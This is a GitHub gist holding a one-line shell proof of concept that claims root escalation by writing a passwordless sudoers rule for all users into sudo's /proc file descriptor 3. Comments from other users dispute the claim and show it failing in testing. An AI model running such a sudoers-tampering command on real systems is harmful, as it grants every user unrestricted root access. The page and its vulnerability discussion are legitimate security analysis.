Skip to content

Instantly share code, notes, and snippets.

@oxagast oxagast/sudo_erroot.sh
Last active Nov 14, 2019

Embed
What would you like to do?
Write to /etc/sudoers using file descriptor 3 on sudo's process while asking for a pass
# oxagast / Marshall Whittaker
#
# The echo line uses sudoers file format to allow for everyone to
# use the root account and writes it to proc/23423/fd/3 (where
# the number is sudo's process. If you have write access to file
# descriptor 3 it gives you root!
# Cavets: sudo must be running asking for a password at the time.
# you must have write permission to 3.
#
# Race condition between when getting the uid of sudo and the
# setresuid and openat() syscall before being reset to 0 here.
#
# --- SNIP ---
# getresuid([0], [0], [0]) = 0
# getresgid([0], [0], [0]) = 0
# openat(AT_FDCWD, "/etc/nsswitch.conf", O_RDONLY) = 3
# fstat(3, {st_mode=S_IFREG|0644, st_size=556, ...}) = 0
# read(3, "# /etc/nsswitch.conf\n#\n# Example"..., 4096) = 556
# read(3, "", 4096) = 0
# close(3) = 0
# setresuid(-1, 1, -1) = 0
# stat("/etc/sudoers", {st_mode=S_IFREG|0440, st_size=39, ...}) = 0
# openat(AT_FDCWD, "/etc/sudoers", O_RDONLY) = 3
# fstat(3, {st_mode=S_IFREG|0440, st_size=39, ...}) = 0
# read(3, "root ALL=(ALL) ALL\n%sudo ALL=(AL"..., 4096) = 39
# lseek(3, 0, SEEK_SET) = 0
# fcntl(3, F_SETFD, FD_CLOEXEC) = 0
# setresuid(-1, 0, -1) = 0
# --- SNIP ---
echo "ALL ALL=(ALL) NOPASSWD:ALL" > /proc/`pgrep sudo`/fd/3
@Beuc

This comment has been minimized.

Copy link

Beuc commented Nov 6, 2019

I see MITRE assigned CVE-2019-18684 to this.

I am not sure what the vulnerability is:

  • the provided trace is about sudo run as root (not as an unprivileged user)
  • /proc/`pgrep sudo`/fd/ would be restricted to root because the sudo binary is setuid
  • fd 3 is not static so if pre-opened, open(2) would return another one

Consequently it seems this is only exploitable if the attacker is already root.
Can you clarify?

@oxagast

This comment has been minimized.

Copy link
Owner Author

oxagast commented Nov 6, 2019

It's only viable if you can write to fd/3. So you'll need to pair it with something else that has arbitrary write to any file descriptor.

@millert

This comment has been minimized.

Copy link

millert commented Nov 6, 2019

Since fd/3 is just a symbolic link to /etc/sudoers I don't see how you could write to it unless you have sufficient privileges to write to /etc/sudoers. In which case, what's the point?

@TridevGuha

This comment has been minimized.

Copy link

TridevGuha commented Nov 14, 2019

Apart from the issue of not having write access to fd/*, fd/3 does not necessarily points to /etc/sudoers because it depends on the sudo command we are passing before running echo "ALL ALL=(ALL) NOPASSWD:ALL" > /proc/pgrep sudo/fd/3.
In my test environment, I had:
[test@abcdefg ~]$ sudo ls -l /proc/11730/fd
total 0
lrwx------ 1 root root 64 Nov 12 00:41 0 -> /dev/pts/1
lrwx------ 1 root root 64 Nov 12 00:41 1 -> /dev/pts/1
lrwx------ 1 root root 64 Nov 12 00:41 10 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Nov 12 00:41 11 -> 'socket:[11557214]'
lrwx------ 1 root root 64 Nov 12 00:41 2 -> /dev/pts/1
lr-x------ 1 root root 64 Nov 12 00:41 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Nov 12 00:41 4 -> 'socket:[11556811]'
lr-x------ 1 root root 64 Nov 12 00:41 5 -> /etc/sudoers
lr-x------ 1 root root 64 Nov 12 00:41 6 -> /var/lib/sss/mc/initgroups
lr-x------ 1 root root 64 Nov 12 00:41 7 -> /var/lib/sss/mc/group
lrwx------ 1 root root 64 Nov 12 00:41 8 -> /run/sudo/ts/test
lrwx------ 1 root root 64 Nov 12 00:41 9 -> 'socket:[11556818]'

where fd/5 points to /etc/sudoers, the poc did not work for me.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.